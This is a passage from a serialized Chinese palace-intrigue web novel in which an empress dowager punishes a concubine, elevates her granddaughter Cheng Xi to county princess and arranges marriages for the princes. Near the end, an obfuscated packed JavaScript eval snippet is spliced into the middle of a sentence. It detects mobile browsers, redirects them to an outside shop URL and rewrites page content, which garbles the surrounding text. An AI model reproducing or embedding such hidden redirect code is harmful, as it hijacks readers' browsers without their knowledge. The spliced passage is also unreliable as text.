她眼眶一红,抓着程太后衣袖抽噎:“我平日穿的是御供衣料里赐下的,吃的是外祖母份例里分的,住的是您专门让人给我开辟的院子,乘坐的是舅舅给您贺寿特意打造的大车。” “就连这身骨血也是脱胎外祖母身上的,我除了‘真心认错’动动嘴皮子,就没能做的。要是您真能消气,我吹吹冷风又如何,便真起热了,您也会派太医过府给我医治,还……” 程曦句句属实,可她说的越多,程太后心里那团火反而被煽动得越发旺盛。 程太后情不自禁提高声音呵斥:“还怎么样?!” “还会给我用最好的药材,把我挪到身边,亲自看顾着。”程曦梗着脖子说完,迅速低下头,不吭声了。 程太后想了一通,发现自己对程曦真是这样,自己被自己气笑了。 程曦腰杆子这么硬,说到底都是她惯出来的。 可看程曦主意越正,就越像程太后年轻时候,程太后就反而更喜欢,更纵容程曦了。 “罢了,我不气了。”程太后拉着程曦坐下。 死灰复燃的怒火被顷刻吹散,这一回,连最后那点火星子也灭干净了。 程曦心中欢呼:成功清除最后一个隐患,她只需要等外祖母出手。 这事情,成了。 17.第 17 章 长乐宫的高墙阻隔日光,宫殿内的通道永远灰蒙蒙的,如同无法清醒的噩梦。 程曦跟着程太后坐车,直入寝殿。 随着一声“太后到——”,内殿嬉笑声戛然而止。 透过百合花型的窗栅,程曦看到一道藕荷色的身影匆匆坐直,快速下了龙床。 程太后带着程曦出现在龙床边的时候,那女子尚未将脚伸入鞋中。 听见脚步声,她紧张地跌倒在地,宽大的衣袖在床面铺开,衣料流光溢彩。 倒在龙床边的女人,是三皇子的母亲,陈美人。 一对玉足在烛光下盈盈发光,不禁让程曦想起成顺帝受用了陈美人之后,在家宴上对献上陈美人的妹妹日耀长公主说“床帷之中,掐着脚腕举高,如明月升空,享尽艳福”的话。 因为这双脚,把陈美人陈悦的名字亲自改成了陈玥。 陈美人来侍疾,不穿袜子,赤着双足,在床上和成顺帝做什么不言而喻。 程太后让后妃来侍疾,是为了托住成顺帝的性命,可不是让这群妖精来尽快送她儿子归西的。 程太后一瞬间升起强烈的愤怒,但比起发火,程太后知道她更清晰的意识到她真正的需求。 从上一回朝臣反水,追随成顺帝,对她逼宫,程太后就知道只要有姓“周”的男嗣霸占着帝位,那么除非皇帝不能理政,否则朝臣更想“扶持正统”。 母子之间有一层脉脉温情,程太后想要拿捏成顺帝容易。 一旦成顺帝死了,她岂不是必须再立新君,难道朝臣会在年富力强的皇帝和一个垂垂老矣的外姓老太婆之间选她吗? 那就等于顷刻间把她逼到了必须通过屠杀亲孙子,废立君王,把持朝政这一步。 程太后还没有彻底捶打程家,让程家儿孙紧紧跟随在她身后,所以,即便最终不得不走到那血腥的一步,也不能是没有万全准备的现在。 她决不能让自己陷入两难。 还是应该尽快让孙子们娶妻。 到时候侍疾的人换成成顺帝的儿子、儿媳妇,把后妃都拘束在各自房里抄经,就都老实了。 后妃们希望有更多的子嗣,确定自己后半生荣华富贵和安稳。但她的好孙子们可不会希望成顺帝有更多的、年龄更小的儿子。 ——正如程太后清楚,成顺帝一死,对她最有利的办法是册立年龄最小的孙子当皇帝;皇子们也很清楚“年长”在皇家从来不是优势。 他们没有一个会希望成顺帝“舒坦”之后,给他们生下更多的“皇弟”,增加防范人选。 在这一点上,程太后和皇子们的利益一致。 发脾气解决不了问题,程太后一瞬间压下怒火。 程曦却比她更快。 几乎在程太后产生情绪的同时,程曦已经按住程太后的手,发出爽朗的笑声。 她快步越过程太后,主动架着陈美人的手臂,把人从地上撑起来,若无其事地从龙床扯下那一双罗袜塞进陈美人手里。 “陈美人小心着些,侍疾也要注意自己身体。别累坏了身子。” 陈美人哪里还顾得上平日对程曦的不喜,急忙落下袖笼,挡住袜子,趿拉起鞋子,回头对程太后解释,“妾今日起晚了,害怕耽误侍奉陛下,未用早点便前来侍疾,一时眩晕,险些伤了陛下龙体。” 难道陪着重病的男人胡天胡地就不伤龙体了?! 程太后又在心里骂了几句,人却只是微微冷脸,摔袖挥退陈美人:“回去歇着吧。” “谢太后体恤。”陈美人俯首谢恩,离去时还不忘回眸对成顺帝留下一抹媚笑。 等人走了,程太后索性沉下脸,板着声音道:“今日寝宫内殿当值的宫人,玩忽职守,每人笞手十下,去领罚。” 侍奉成顺帝的宫人,最该以成顺帝健康为己任,居然放着成顺帝和陈美人胡闹,一声不吭,合该受罚。 宫人不敢辩驳,低着头鱼贯而出。 “母后,您还是如此严苛。”成顺帝躺在龙床上有气无力道。 他面色蜡黄,唇色白中透紫,颧骨下漂浮着一层古怪的淡红。 “宫妃需要圣宠,需要更多的子嗣来维持自己的地位。但母亲只想自己的儿子长命百岁。”程太后声音还是十分生硬。 说话的时候,她伸手试探了一下成顺帝的额头,那偏低的体温让老太太露出心疼的眼神。 程太后自己就是从后妃走向太后的,后宫女人的心思,她比谁都明白。 成顺帝没办法反驳母亲的话,只能带着心虚和烦躁地回答:“儿子身上太难受了,想松快松快,把玩玉足而已,不曾□□伤身。” “不必多说,我年纪大了,身上也时时不爽利,我都明白。”程太后顺着成顺帝的话说。 嫔妃,说白了就是国君养在宫殿里的玩物,想玩了就拿来玩一玩,有什么可在意的。 程太后罚过宫人就算结束了这件事情,直接把话题转移到家事上。 她握着成顺帝的手,面带忧郁,沉默了好一会才开口:“这几年,程家让我儿为难了。” 程太后不开口的时候,成顺帝提心吊胆,生怕母亲又说出什么让自己为难的要求。 但程太后这话一出口,他也被惊呆了,不知道如何反应。 “母后,何出此言?” 程太后苦笑道:“哀家查过十年来检举程家的奏章了。” 从检举的奏章里能查出问题不难,难的是,程太后居然被说动了,相信她的亲亲娘家也会犯事! “谁动摇了母后的心思?”要不是体力不允许,成顺帝简直想大笑三声。 程曦适时出现,接过话头:“还能是谁,当然是我告状的。” 程曦把这几日的冲突美化成,程辉有歪心思,想勾连皇子,拿她作筏子,又提到生父程辉早已婚配,在外有妻有妾有子女,纯把日耀长公主当傻子。 前后几句话连在一起,成顺帝直接误会成了程家从十几年前就设下奸计,精准捕捉皇家公主作为猎物,来延续他们身为外戚的荣宠。 “混账,咳咳!程辉、程玉,朕要他们……咳咳咳!”气机上逆,成顺帝咳嗽无力却又停不下来。 一直咳嗽到翻着白眼昏过去才停下。 程曦马上吩咐:“去偏殿,把值守的太医请来。” 值守的太医背着药箱快步赶来,迅速到床前为成顺帝扶脉施针。 行气一周天,起针。 成顺帝悠悠转醒,想起程家居然敢玩弄皇家威严,又一次怒上心头。 程曦连忙道:“舅舅别气了,外祖母已经想好了,一会就召集臣子到勤政殿,仔细分辨他们做了多少违法乱纪的恶行,要把程辉他们都赶出去朝堂。” 成顺帝看着外甥女,终于想起程辉是驸马,也就是程曦的亲爹。 他面色一变,望向程太后,迟疑道:“……程玉他……母后如何处置了?” 程太后面色不改,“外放余吾州。若他有本事教化当地百姓,也算将功折罪。哀家便不与他计较了。” 要是不幸死了,那就是他命该如此。 做损多了,折寿活该。 要是发生在成顺帝病得起不来身之前,成顺帝虽然觉得给妹妹出气解恨了,但内心也会觉得程太后行事狠辣。但自从倒在病床上,他每天都在担心自己的寿数,戾气飙升,只觉得程太后办事太在乎脸面了。 “罢了,看在荣昌的面子上。”成顺帝心中不免,皱眉勉强答应。 程太后故意说:“陛下确实要看在曦儿面子上。” 成顺帝一脸茫然,听不懂这决定能和程曦有什么关系。 程太后顺势解释:“哀家本想小惩大诫,轻轻放过。曦儿说她自小长在宫闱,是陛下怜惜她,顶替了父亲的位置,还在她年幼时,时时抱在膝头,亲自开蒙、教她读书识字。她不愿意让陛下和哀家为了她,处置贪官污吏时感到为难,宁可日后顶着罪臣之女的名声,也要让哀家严明法度。” 程太后左手握着成顺帝的手,右手牵着程曦,眼目怜爱,“陛下,哀家做这决定之后,程家只剩下空架子啦。你这个当舅舅的可不能再亏待了外甥女——哀家要给曦儿升名位为县主,你可不能拒绝。” 程家是趴在程太后脚边的恶犬,若程太后肯自断一臂,给一个小女娃升名分又有什么可在乎的? 这可是一本万利的买卖! 成顺帝当场点头:“请侍中裴景过来,让他替朕起笔写诏书。” 成顺帝体力不济,等着裴景和掌印太监赶来的时间里,昏睡过去。 可成顺帝清醒与否都不耽误诏令上有成顺帝的手印。 裴景捧着诏令传到程太后眼前:“请太后过目。” 『朕闻璇枢凝耀,德辉必彰于兰闺;山河载灵,懿范允昭于彤史。咨尔某氏,毓秀名门,禀柔成性,恪恭夙夜,礼度无愆。昔以温惠承休,启封乡邑,今则贞懿益懋,宜陟崇阶。 今特晋尔为县主,位视郡王。食邑增八百户,永锡汤沐之资。另赐京中甲第一区,坊列云衢,庭涵松桂,可称“渌泉山房”,以彰殊渥。 允开府第,依制设长史、掾属,得自辟贤良才俊,备咨议之用。尔其弘开幕府,广延俊乂,使稷下之风再振,邺中之道重光。 呜呼!崇位非荣,惟仁是贵;高门虽启,惟德是依。尔其克勤克慎,用光休命,永绥福履,以副朕心。 布告中外,咸使闻知。 成顺三年十二月御笔』① 赐爵、升食邑,允开府招贤纳士,又顺理成章把在建的别宫赏给程曦,程太后的要求全做到了。 程太后看过,卷起唇角,真心地笑了。 不愧是裴景,笔上功夫从不让她失望。 她满意点头,“去传令吧。” 内侍捧着圣旨走出寝。 “孩儿谢陛下恩典,谢太后提拔。”礼毕,程曦挽住程太后的手臂,笑着说,“等我有空了,要亲自去挑选甲卫。” 身在高位,程曦有的是来钱的法子,县主的名分和食邑,对她的吸引力都不如伴随开府而来的五十个甲士。 所谓“甲士”的装配是包含了全套金属重甲、皮质轻甲,长枪、大刀、弓箭的等兵器装备的,甚至,国家还需要负担卫士的战马和战马披挂的甲胄。 五十人听起来不多,可实际上一名重骑兵足以在千人战场上随便杀进杀出。 这五十人的战斗力已经超乎想象。 而且,她可以名正言顺地招贤纳士,为己所用了。 程太后笑问:“不想要几个勋贵子弟?还是有不少有真才实学的好孩子的。” 程曦:“不是山穷水尽的人,才不会为我用命。勋贵子弟……他们太麻烦了,我暂时不需要。” 这京城里,程家是热灶,但眼看着成顺帝倒了,更多的人家还是期盼跟随一名皇子,等着分享日后从龙之功的。 真正能把身家性命放在程曦手里的,只有那群因为军功被从掉入京中,来了以后却发现升迁无望的可怜士官。 “好,我们走吧,让陛下好好休息。” * 观众睡着了,程太后没继续在病床前演戏。 达成目的,她就带着程曦和裴景离开。 回程时,程太后放弃了马车,选择用双脚步行。 勤政殿位于长乐宫的前殿,反而是程太后居住的永寿宫在长乐宫东北侧。 为了处理政务,程太后每天都需要起床梳妆后乘车,一路奔波进入长乐宫,入夜后,再从特意留给她的一扇门离开,返回永寿宫。 折腾得很。 程曦落后半步,走在程太后身侧。 白狐裘上的软毛被北风吹得在少女腮边轻轻摇曳,扫得皮肤痒痒的。 程曦捋了几次软毛依旧无法阻止,她从指缝间看见远处一道又一道宫门,突然开口:“外祖母,在长乐宫中处理政务,实在太吵闹了,耽误舅舅修养。” “哦?你的意思是……” 程曦面不改色:“不若移入永寿宫。” “呵呵,傻孩子,勤政殿是先帝取的名字,不好挪动啊。”程太后一脸意动,最终却遗憾地摇摇头。 程曦笑得眉眼弯弯:“谁说要把勤政殿移走了。外祖母累了,他们只是体恤外祖母辛苦,去永寿宫向您禀报,时间长了,多出间书写的屋子。” 树挪死,人挪活。 能干活的是朝臣又不是一座宫殿,只要让辅佐程太后办差理政的官员从“皇帝居所”去往太后身边,其中的政治目的就已经达成。 “哀家的好孩子,我没白疼你。”程太后停下脚步,乐不可支地摩挲着程曦的后脑勺。 “是了,哀家今天被陈美人气到了。要先回永寿宫——裴景啊,让他们整理完卷宗,到永寿宫回禀。” “是,臣明白。” 她脸上笑意不减,分别指向裴景和成业道:“成业,听到了吗?把前殿开了,整理出来,专门给官员禀报政务用。开永寿宫前殿,改名为……” 程太后停顿片刻。 程曦建议:“外祖母,您看,前殿改名为‘太平殿’如何?” 太平殿,天下太平。 这份天下太平,只出现在程太后宫中。 “哈哈哈,好,好名字,就用这个了。”程太后笑容在整张脸蔓延。 成业微微弓着背,凑趣道:“太后放心,奴婢这去让人布置前殿。不光比对着勤政殿的陈设,让官员们察觉不出还了为止,桌椅上再备好软垫和茶点,驱虫提神的香料也点上!可不能让诸位官员在太后面前还饿着肚子办公。” “走哀家的私账。”程太后柔声补充。 长乐宫里的毛病,她比谁都清楚。 先帝总嫌弃在议政的地方有饭菜味道恶心,不准许那里出现任何食物的味道,连供应的饮水都是不加任何东西的清水。 这习惯沿用至今,成了惯例。 可先帝饿了渴了,可以回去后殿饮食,那群在勤政殿伴驾的官员就只能在早晨进宫前撑得肚皮溜圆再来,否则一饿一整天,晚上走出门的时候,都打摆子。 “太后宽仁。”裴景真心感谢。 他不再废话,和成业相互客气几句,相携回去勤政殿。 * 程太后和程曦继续往永寿宫走。 墙角的大树落光了树叶,粗壮的枝干光秃秃的向外伸展,枝条挂满霜雪。 树根蛮横地虬结着霸占住四方天地,让周围长不出花木。 程曦从大树旁经过,回首看了看这株自小生长在她记忆中的银杏。 回到永寿宫,程曦被宫人带去内殿,给她换了更暖和的汤婆子抱着。 宫殿内暖气不断上涌,内外空气交流,装饰的轻纱无风自动。 程曦隐约听见笑声,随手对个宫女招手询问:“谁今日递牌子入宫拜会了?” 宫女垂首,轻声回答:“娘娘招了许多勋贵夫人进宫。” 等到程曦暖和起来,成业也忙活完,让人捧着新衣过来了。 他上前,牵着程曦坐到妆台前:“奴婢服侍县主重新梳头。” 细长的手指在扭转发丝,不一会,程曦头上的发型就从简单的低髻变成更能凸显她美貌的飞仙髻。 借着梳头的机会,成业主动说:“今天叫进宫的,都是太后有意为皇子们娶纳的千金。县主到前厅陪着太后,一块长长眼。” 邀请这群贵妇和千金小姐,都要提前几日。 也就是说,在程曦对程太后认错,交代实话之前,程太后已经准备给这件事情收尾了。 外祖母果然很爱护她。 程曦喜上眉梢,抚摸着这身工艺更加繁复的新衣,美滋滋地说:“我一定好好跟着外祖母学,多听多看,少开口。” * 十几家勋贵的夫人在殿中端坐,倒是她们带来的女郎,姿态舒展得多,三三两两凑在一块闲谈言笑。 “真想不到,御史大夫家居然也有人在。” “王家到底是当初携族人前来归顺的,许是还有些情面在吧。” “唉,王家品性还是不错的。这些年也没听说做了什么恶事。朝堂如何与内宅又能有什么关系,找个能全心一块好好过日子的才是正理。” 娶妻娶贤,王家这种内宅和睦的人家,是联姻的好对象。 小小的议论声在内殿各处回响。 御史大夫的夫人孟琴面上却始终保持微笑,坐在原地和女儿孟琅一块品尝点心。 孟琅年纪尚小,定力不如母亲,一块点心反反复复的拿起放下、放下拿起,神色不安,门口每有人走动,视线都会在高居上首的程太后和门口之间来回张望。 程太后坐在上首,捧着一杯果茶慢慢吹掉浮沫,笑眯眯地吩咐:“不必拘束着孩子们都在内室陪着我,出去玩玩。哀家的永寿宫里养着荣昌,好玩的多着呢。” 太后让人出去玩,那不管是不是文静少女,都要玩起来。 不必各家夫人提醒,千金们自动从座位中起身。 片刻功夫,内殿前院响起叽叽喳喳的声响,少女们像一群百灵鸟似的,快速给内殿带来欢声笑语。 程太后微笑看着庭院中的动静,从手腕褪下一对凤皇雕纹的玉镯放进托盘,指着女孩们的方向低声吩咐:“哀家听着似乎荡秋千呢。送过去,谁赢了给谁,就说是哀家添的彩头。” 肖夫人低语:“娘娘,这太贵重了。” “让孩子们开心一下。”程太后话没说完,内侍的唱名声已经穿透空间。 “荣昌县主到——” 各家夫人循声住口,齐齐看向程太后,等待她的反应。 程太后眉目一瞬间舒展,嘴角上提,笑容在脸上扩大。她情不自禁站起来,双手撑着桌面向门口张望。 “荣昌来了,快到我身边来。” 程曦跨过门槛,立刻被程太后安排到身边坐下。 满庭贵妇眉眼乱飞,都在相互传递着眼神,想要从中看出程太后到底是什么心思。 两日前,程曦离宫冲去战俘营挑了一群战奴胡天胡地,同一日晚些,她们就接到了程太后的邀请,让她们带着家里适龄的女儿进宫。 那时候,贵妇人们都觉得是这对祖孙之间爆发了不可调和的冲突,程太后绝了让外孙女和孙子成婚的心思。 可她们今天带着家里的女孩们进宫,打眼瞧着,程太后对外孙女的宠爱没有丝毫变化,甚至,就在刚刚还给她升了分位。 程太后的这番举动到底是什么意思呢? 程太后是否还想把程家的女孩嫁进皇家,延续外戚的风光? 亦或是,陛下圣心已有决断,程太后才故意对这些有机会成为未来太子内眷的女孩们示威,警告她们不可与程曦争锋? 贵夫人们拿不准心思。 程曦穿着橙红色的飞凤缠枝纹长袍进门。 她昂首阔步而来,腰间组佩叮咚作响,竟好似一只凤凰投入程太后怀抱。 众人这才意识到,程太后左侧的空位,不是给下一个要交谈的夫人留着,而是为外孙女专门空置的。 程曦坐下,程太后几乎是习惯成自然地牵住外孙女的手。 程太后对程曦没有任何吩咐,只用另一只手,亲自把桌面上的葡萄推到程曦面前。 冬日的瓜果价比千金,在场的夫人们心里看过祖孙相处的画面心里就有底了。 ——不管程曦婚事最后落在谁身上,程太后对这个外孙女可算是宠到天上了。 程曦对被自己隔开的肖夫人笑着点点头,程太后已经接回话头,接着之前的话说:“大冷天把孩子们都折腾进宫里陪我这个老太婆寻开心,辛苦孩子们了,合该给她们的游戏加点彩头。” 程太后说完,视线在人群里一扫,对着御史大夫的夫人孟琴招招手。 宫女立刻十分有眼力见的将孟夫人所坐的食案抬到程太后右侧的空位。 “我真怕你今日不愿过来,看到你在这就安心了。”程太后拉住孟夫人的手,一点不见外地说。 “娘娘有命,自该出席。”孟夫人温柔克制地回答。 她说话的同时,带来的丫鬟已经悄悄出门,将御史大夫家的女儿叫了回来。 少女垂着头,快步入内,安静坐到孟夫人身侧。 她紧紧抓着裙子,紧张得双颊泛红,屏息等待程太后的问话。 程太后视线自然向后扫,落在孟夫人身后的年轻女孩身上,仔细看了一会之后,压不住惊讶的神情,脱口而出:“来的怎么不是琳娘?” 孟夫人那副云淡风轻的模样顿时碎裂。 她一瞬间攥紧拳头,声音尖利:“娘娘让我带家中适龄女郎进宫。臣妇以为,琳娘不合适。她刚出夫孝,在夫家守着呢。” 程太后拧了一下眉头。 程曦扭头看向身边的辽阳侯夫人肖丽娟,惊讶道:“肖夫人,竟有此事么?” 辽阳侯姓周,是正经宗室,但他的爵位是亲爹和亲生兄长打出来的。 他的夫人肖丽娟。 肖夫人的母亲和程太后是两姨表姐妹,肖夫人要管程太后叫一声“姨母”,是少数常常可以进宫拜会程太后,与她说上闲话的人。 而被程太后点名的御史大夫的长女王琳,正嫁给了辽阳侯的长子,是肖夫人的儿媳妇。 因为其中拐弯抹角的亲戚关系,御史大夫王家甚至也算和皇室有些亲缘。 “我隐约记得周大郎的过身已经是两年前的事情了,琳娘居然还在守夫孝?”程曦捂住嘴,完全无法掩饰脸上的表情。 夏国律法规定“女子守夫孝,一年”,此后再嫁不但能够拿走全部嫁妆,夫家还要额外再给一笔嫁妆,作为生儿育女、操持家务的补偿。 如今天下尚不曾归一,战事未绝,国家一直在鼓励寡妇再嫁。 就连肖夫人自己都是二嫁之身。 “是啊,丽娟怎么回事。”程太后沉声质问。 肖夫人被点名,膝盖一软,直接从端坐变成跪在席面上。 她满心委屈,当场叫起冤枉:“可这事情跟家里没关系!我从来没阻拦过王琳再嫁!” 肖夫人都不用装,把长子的婚事从头到尾回忆一遍,眼眶当场红了:“晓儿过世的时候,就拉着我的手说过,琳娘嫁他,没享福就要丧夫,辛苦了。再三叮嘱让我们夫妻给琳娘选个合适的人选,像亲生父母一样送她再嫁。” “奈何王家规矩重,琳娘说什么都不肯。” 肖夫人想起这几年提心吊胆的生活,委屈化成火,口气也生硬起来。 她忍不住抱怨起王御史家的离谱行径:“我每每有看中的儿郎,上门商议,王御史和孟夫人就很生气,上门指责。琳娘也会去祠堂,跪在晓儿牌位下头哭,说我容不下守贞的寡妇。劝多了,她又要上吊、又要投河、又要触柱,我们哪还敢逼!” “一回两回尚可,三四次之后,母亲听了就犯头疼病,连家里的二郎都误会了,跟我闹脾气。” 肖夫人捶着自己胸口几乎流下眼泪:“二郎说‘家里不差嫂嫂一口吃食,母亲若不满,不若我带嫂嫂去战场吧,是嫁是守都随嫂嫂,您别逼她了’。我只能这么囫囵着过,指望过几年琳娘自己想开了。” 家里有个年轻貌美,还很容易煽动小儿子情绪的寡妇,难道是什么好事情吗。 他们辽阳王府是要脸的。 肖夫人真的很愿意送儿媳妇再嫁,只要王琳肯再嫁,她绝对配送丰厚的嫁妆! 幸好,肖夫人说完就想起王御史家里是做什么的。 她耳根发红,急忙垫上几句补充,免得遭王家记恨:“晓儿是个仙貌郎君,他过世之后,琳娘看不上其他人,不愿再嫁也合情合理。” 孟夫人听了这几句话面色稍霁,可也实在称不上好看。 倒是程太后点头表示理解了:“没有强迫新寡的女人守着就好。” 肖夫人心下一松,恢复笑脸。 肖夫人可不觉得王家教育出了什么“好孩子”,至少她没看出来王琳因为死了丈夫难过。 程太后牵住肖夫人的手,安慰道:“既然不是你不愿意儿媳妇再嫁,那我就直说了——论相貌,周靖也不会差了晓儿,我想要个板正的长孙媳妇,把琳娘让给我吧。” 肖夫人当然愿意。 ……可她不敢直接答应。 肖夫人面露为难,往孟夫人身上看了几眼之后,探身凑到程太后身边,压低声音问:“娘娘,到底是琳娘的婚事。还是把琳娘叫进宫,亲自问一问吧。” 程太后意外的好脾气,抬手吩咐:“成业,让人备车去辽阳侯府,请王夫人进宫。” 话到此处,说无可说,该换话题了。 程曦顺势拽了拽程太后的衣袖,小声提醒:“外祖母,荡秋千似乎角逐出胜者了。” “那好,把人叫进来,让哀家看看谁这么厉害。”程太后顺着程曦递来的台阶转移了话题。 女郎们今日被集中在此,为的就是让程太后相看。 她下令后,女孩子们快速从庭院返回,走在最前头的女郎努力保持笑容,涂了蔻丹的细长手指却忍不住一个劲儿地将鬓角松散的发丝向耳后抹。 被程太后亲自问话,许多人都会紧张。 若只有一个女郎如此,程曦未必能注意到,偏偏这个反复抹头发的女郎身旁半步,另有一位女郎动作僵硬地死死抓着衣袖,仿佛半边伤到了手臂,无法动弹似的。 这两人,程曦都认得。 一个是追随先帝打天下时候的好兄弟,岑家的第三女;另一个是先帝名震天下后,主动开门献城的吴家的长女。 这两家家主在当时都分别娶了先帝的族妹进门,以保证自家与皇室的亲近关系,只不过岑三娘和吴大娘均非皇室周家女儿的后人。 岑家和吴家当年明明前后脚求娶回皇室女子,可两家都觉得自家只是想和皇室保持步调一致,而另一家是想攀女人裙角,因此,相互看不起。 更有意思的是,三年前跟着成顺帝设计程太后的那几个朝臣,都与这两家互通婚姻。 岑、吴两家明面上虽然没出手,实则,经过被逼宫让权,又亲自通过交权逼死出手的几家后,这两家与程太后的关系始终颇为冷淡。 两家女孩的古怪,两家夫人不约而同抓紧手帕,紧张地看向程太后,生怕程太后借题发挥,对她们找茬。 程太后好似没察觉不妥,慈爱地微笑着:“玩疯了吧,出汗了也不知道擦擦。” 她使了个眼色,宫女送上全新的手帕。 “谢娘娘了。”两个女郎急忙致谢,不论有没有擦汗的需求,都从托盘中取了一块手帕擦拭面颊。 程太后仍旧微笑着注视着她们,目光一瞬都不错开。 程太后的视线始终不曾离开两位女郎 她紧紧盯着她们,举起杯子,轻啜一口,赞叹道:“我就说你们两家为何不喜欢递牌子进宫,原来是把这么漂亮的女郎都藏起来了。” 程太后说完,忽然又左右张望几眼,指着后排的老妇道:“郭夫人,你家的仙姿去哪儿了?” 郭夫人起身,姿态恭谨严肃:“回禀太后,仙姿不善秋千,正在殿外等候。” “都是自家人,不必如此谨守规矩——让仙姿进来。”程太后给宫女使了个眼神,宫女很快带进门一个生得白皙瘦长的年轻美女进了内室。 郭夫人也跟程家沾亲带故,被叫一声“自家人”并不过分。 三名少女停在一处,环肥燕瘦,美得各有千秋。 程太后笑得眉尾皱纹舒展:“你们三个站一块,就像春花秋月,怎么瞧着怎么赏心悦目。” 三位女郎脸上都露出几份羞涩,岑家和吴家的姑娘面上紧张之情不由得退了几分。 程太后突然问:“二皇子最爱美人,哀家看你们实在难以分出高下,你们可愿一同嫁给二皇子,成就姻缘?” 郭夫人的孙女尚算平静,红着脸微微垂首;岑家的女郎一瞬间退了血色,猛地摇晃一下身子,却咬住嘴唇在原地站稳了身子;吴家姑娘反应最大,当场跌坐在地,单手捂着脸哭出声。 郭夫人板着脸,但说出口的话十分熨帖:“家里正愁她心高,娘娘替家里解决一桩麻烦。” 程太后扬起眉毛。 “不可在太后面前失仪!”王夫人猛然站起训斥女儿。 程曦责备地点了王夫人一眼,走下去亲手把吴大娘扶起来,笑着说:“看来吴小姐对这桩婚事很满意了,她都喜极而泣了。” 这话很好的化解了吴大娘的尴尬,却让她没了退路。 王夫人急忙走过来,扶住吴家姑娘,往身后藏:“县主,小女婚事,家中另有安排……” 程曦笑了笑,干脆放开吴大娘,“看来王家是看不上二皇兄了。可惜了,我还以为能成就一桩好事,没想到吴家教导得这么粗糙,主家的千金居然居然也会殿前失仪。” 程曦放开吴大娘,走回自己的位置坐下。 她遗憾地叹了口气:“还以为二皇兄能一起拥有三位如花美眷了,可惜,看来他是没机会如梦想中享尽艳福了。” “阿娘,我愿意的。”吴大娘拖着自己受伤的手臂,急切而小声地向自己母亲催促。 王夫人按住女儿用力摇头,不肯接这桩婚事。 程太后笑道:“婚姻,成就两姓之好。王夫人既然对女儿另有安排,哀家就不多插手了——吴大娘,我瞧你一直缩着左侧胳膊,时不时还用右手遮掩一番,你的手臂是怎么了?” 好不容易在母亲怀里平静下来的吴大娘猛地一哆嗦,几乎不假思索就转头看向了站在一边的岑三娘。 程太后:“嗯?还有岑家女郎的事情?” 岑三娘当即柳眉倒竖,急忙反驳:“与我无关!最后斗秋千的时候,吴大娘偷偷来踩我的脚,我情急之下才抓到她手指。她摔下秋千绝对是苦肉计!” 程太后给了身边女官一个眼神,女官立刻走下台阶,对岑三娘和吴大娘说:“请二位随奴婢去偏厅。” 岑三娘和吴大娘只能一脸害怕地跟着女官去了隔壁。 片刻后,女官走出来,贴着程太后耳朵低声说了几句话,程太后面色没有丝毫变动,笑着点点头,向在场的贵妇人们安抚:“小孩子玩闹,难免有些摩擦。” 说完又问岑三娘的祖母:“庄夫人可愿成就好事?” 刚刚对两个女孩的问话,没向外透露分毫,可庄夫人对自家孙女的暴脾气可太有数了。 她知道,很可能一开始真的是意外,然后岑三娘气不过,把吴大娘从秋千上推下去,导致对方摔伤了胳膊。 岑家联姻的是皇室周家,不是外戚程家,家里却又和撺掇从程太后手里夺权的官员有千丝万缕的联系。 现在程太后掌权,她没从前朝下手,褫夺自家官职,只想要个女孩联姻,已然是人老心软了。 庄夫人一瞬间就做出决定,当场笑道:“二皇子俊雅风流,能得此良缘是我们岑家三生有幸。” 程太后笑道:“好,从此以后娥皇女英,泉儿得两美常伴身侧,臭小子有福了。” 刘仙姿和岑三娘又不是一个娘生下的,怎么说也不可能变成娥皇女英这对亲姐妹。 况且即便都是“嫁”进门,正室永远只能有一个。 岑三娘再看刘仙姿的时候,目光已经变成了扫视敌人的眼神。 刘仙姿只管安安静静地站着,等程太后说定了婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096017|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,对她行礼致谢就跟着祖母郭夫人返回座位里。 给小姑娘们断案浪费了不少时间,定下二皇子的婚事时,派出门的内侍也将王琳请到了。 王琳双十年华,身段窈窕,白生生的脸上镶嵌着一对水眸,只是穿着一身素色衣裙,头发不戴任何钗环,显得不合时宜。 仍旧是一副守孝的未亡人模样。 肖夫人看到儿媳妇这副装扮,顿时觉得自己快要不能呼吸了,她捂着胸口努力吸气。 程曦按住肖夫人的手,对她摇摇头。 程太后已经直接忽略王琳的装扮,直接开口:“琳娘,古人都说女子丧夫是因为自身福气大,夫家留不住。” 程太后朝自己腰间比划着,“你这么高一点的时候,哀家就觉得你合眼缘。你既已新寡,哀家想以正妻身份,为周靖求娶你进门。” 王琳睫毛重重一震,猛然抬头看向程太后,一连的不敢置信。 “……太后认为,我堪为正妻?” “自然。”程太后重问一遍,“你愿意接受这桩婚事吗?” 王琳脸上满满爬上兴奋的红色,她只停顿一瞬就点头:“听从太后的安排。” “好,你愿意,哀家也高兴。” 一个宫女悄无声息从门角钻进来,凑到成业身边嘀咕几句。 成业凑到程太后身边,小声禀报:“皇长子求见。” 程太后望了望天,纳闷道:“他这时候怎么会过来?”随即自言自语:“怕不是听到什么好消息了——让靖儿进来吧。” “是。” 周靖跟着成业进门,停步在王琳身旁。 周靖一身锦袍,面如冠玉,长眉斜飞入鬓,俊美英挺,王琳仰起头凝视着他,悄悄红了脸。 她的睫毛快速抖了抖,羞涩地垂下眼帘,不自觉地放软了身段。 周靖并未在意身旁的女子。 他已经向赵博士照实交代,获得赵博士的原谅和许婚了,能够去弥补自己的错误了! 此时,周靖眼角眉梢都写满了愉快。 他仰头看向程太后,直接拱手笑道:“原来皇祖母今日在宫中宴请宾客,难怪远远就听见长寿宫的笑声。” 程太后低哼一声,声音同时透出疼爱和嗔怪:“哼,你这小子,无事不登三宝殿,说吧,有什么事。” 周靖开门见山:“孙儿心悦赵博士长女,已得赵博士允婚,特来禀报祖母。” 长寿宫内瞬间安静,所有人的目光都集中到王琳和周靖身上。 程太后瞪着长孙,手推翻了桌面的茶碗。 她迅速看向王琳,急声呵斥长孙:“婚姻大事,父母之命,媒妁之言,你怎能不先同哀家商议,私自议婚!” 